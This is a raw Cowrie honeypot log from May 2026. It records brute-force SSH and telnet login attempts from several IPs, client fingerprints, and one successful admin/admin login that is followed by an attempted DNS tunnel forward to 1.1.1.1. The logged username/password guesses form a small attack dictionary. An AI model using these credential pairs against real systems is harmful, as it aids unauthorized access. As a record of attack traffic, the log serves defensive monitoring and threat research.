{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:39:30.174233Z","src_ip":"2.57.122.210","session":"50545e58a96c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"firedancer","password":"firedancer","message":"login attempt [firedancer/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:39:30.511537Z","src_ip":"2.57.122.210","session":"50545e58a96c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:39:31.624012Z","src_ip":"2.57.122.210","session":"50545e58a96c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"116.110.220.181","src_port":55560,"dst_ip":"159.203.135.109","dst_port":22,"session":"21fafb8fcc4a","protocol":"ssh","message":"New connection: 116.110.220.181:55560 (159.203.135.109:22) [session: 21fafb8fcc4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:40:03.258480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:40:03.264437Z","src_ip":"116.110.220.181","session":"21fafb8fcc4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:40:03.544808Z","src_ip":"116.110.220.181","session":"21fafb8fcc4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"squid","password":"squid","message":"login attempt [squid/squid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:40:05.890247Z","src_ip":"116.110.220.181","session":"21fafb8fcc4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:40:07.213410Z","src_ip":"116.110.220.181","session":"21fafb8fcc4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":25843,"dst_ip":"10.17.0.5","dst_port":23,"session":"e595ed9f5fed","protocol":"telnet","message":"New connection: 212.55.149.117:25843 (10.17.0.5:23) [session: e595ed9f5fed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:40:16.052349Z"}
{"eventid":"cowrie.session.closed","duration":120.00236916542053,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:40:38.108611Z","src_ip":"212.55.149.117","session":"62233cd54d4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":33222,"dst_ip":"10.17.0.5","dst_port":22,"session":"5715ecc78344","protocol":"ssh","message":"New connection: 193.32.162.145:33222 (10.17.0.5:22) [session: 5715ecc78344]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:40:57.969386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:40:57.973600Z","src_ip":"193.32.162.145","session":"5715ecc78344","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:40:58.076299Z","src_ip":"193.32.162.145","session":"5715ecc78344","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raydium","password":"raydium","message":"login attempt [raydium/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:40:58.386804Z","src_ip":"193.32.162.145","session":"5715ecc78344","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:40:59.493843Z","src_ip":"193.32.162.145","session":"5715ecc78344","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":9839,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e34a76ec9ce","protocol":"telnet","message":"New connection: 212.55.149.117:9839 (10.17.0.5:23) [session: 0e34a76ec9ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:41:02.614155Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":34254,"dst_ip":"10.17.0.5","dst_port":23,"session":"18860b1f71e0","protocol":"telnet","message":"New connection: 212.55.149.117:34254 (10.17.0.5:23) [session: 18860b1f71e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:41:05.730686Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":37254,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c351de64459","protocol":"ssh","message":"New connection: 193.24.211.100:37254 (159.203.135.109:22) [session: 7c351de64459]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:41:12.771771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:41:12.780192Z","src_ip":"193.24.211.100","session":"7c351de64459","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:41:12.888499Z","src_ip":"193.24.211.100","session":"7c351de64459","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"stack","message":"login attempt [root/stack] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:41:13.384645Z","src_ip":"193.24.211.100","session":"7c351de64459","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:41:14.495995Z","src_ip":"193.24.211.100","session":"7c351de64459","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":18260,"dst_ip":"10.17.0.5","dst_port":22,"session":"d876f863ddd7","protocol":"ssh","message":"New connection: 87.251.64.176:18260 (10.17.0.5:22) [session: d876f863ddd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:41:19.188306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:41:19.193414Z","src_ip":"87.251.64.176","session":"d876f863ddd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:41:19.291181Z","src_ip":"87.251.64.176","session":"d876f863ddd7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:41:19.583275Z","src_ip":"87.251.64.176","session":"d876f863ddd7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:41:19.686022Z","session":"d876f863ddd7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:41:19.783844Z","src_ip":"87.251.64.176","session":"d876f863ddd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:41:19.884761Z","src_ip":"87.251.64.176","session":"d876f863ddd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":58466,"dst_ip":"10.17.0.5","dst_port":22,"session":"08322edec603","protocol":"ssh","message":"New connection: 2.57.122.210:58466 (10.17.0.5:22) [session: 08322edec603]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:41:55.026368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:41:55.031405Z","src_ip":"2.57.122.210","session":"08322edec603","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:41:55.230297Z","src_ip":"2.57.122.210","session":"08322edec603","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raydium","password":"raydium","message":"login attempt [raydium/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:41:55.633760Z","src_ip":"2.57.122.210","session":"08322edec603","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:41:56.737875Z","src_ip":"2.57.122.210","session":"08322edec603","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":54726,"dst_ip":"10.17.0.5","dst_port":22,"session":"e96bf87c6535","protocol":"ssh","message":"New connection: 103.15.226.202:54726 (10.17.0.5:22) [session: e96bf87c6535]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:42:13.566318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:42:13.571549Z","src_ip":"103.15.226.202","session":"e96bf87c6535","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:42:13.813878Z","src_ip":"103.15.226.202","session":"e96bf87c6535","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx#EDC","message":"login attempt [root/!QAZ2wsx#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:42:14.552617Z","src_ip":"103.15.226.202","session":"e96bf87c6535","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:42:15.798069Z","src_ip":"103.15.226.202","session":"e96bf87c6535","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00135397911072,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:42:16.053559Z","src_ip":"212.55.149.117","session":"e595ed9f5fed","protocol":"telnet"}
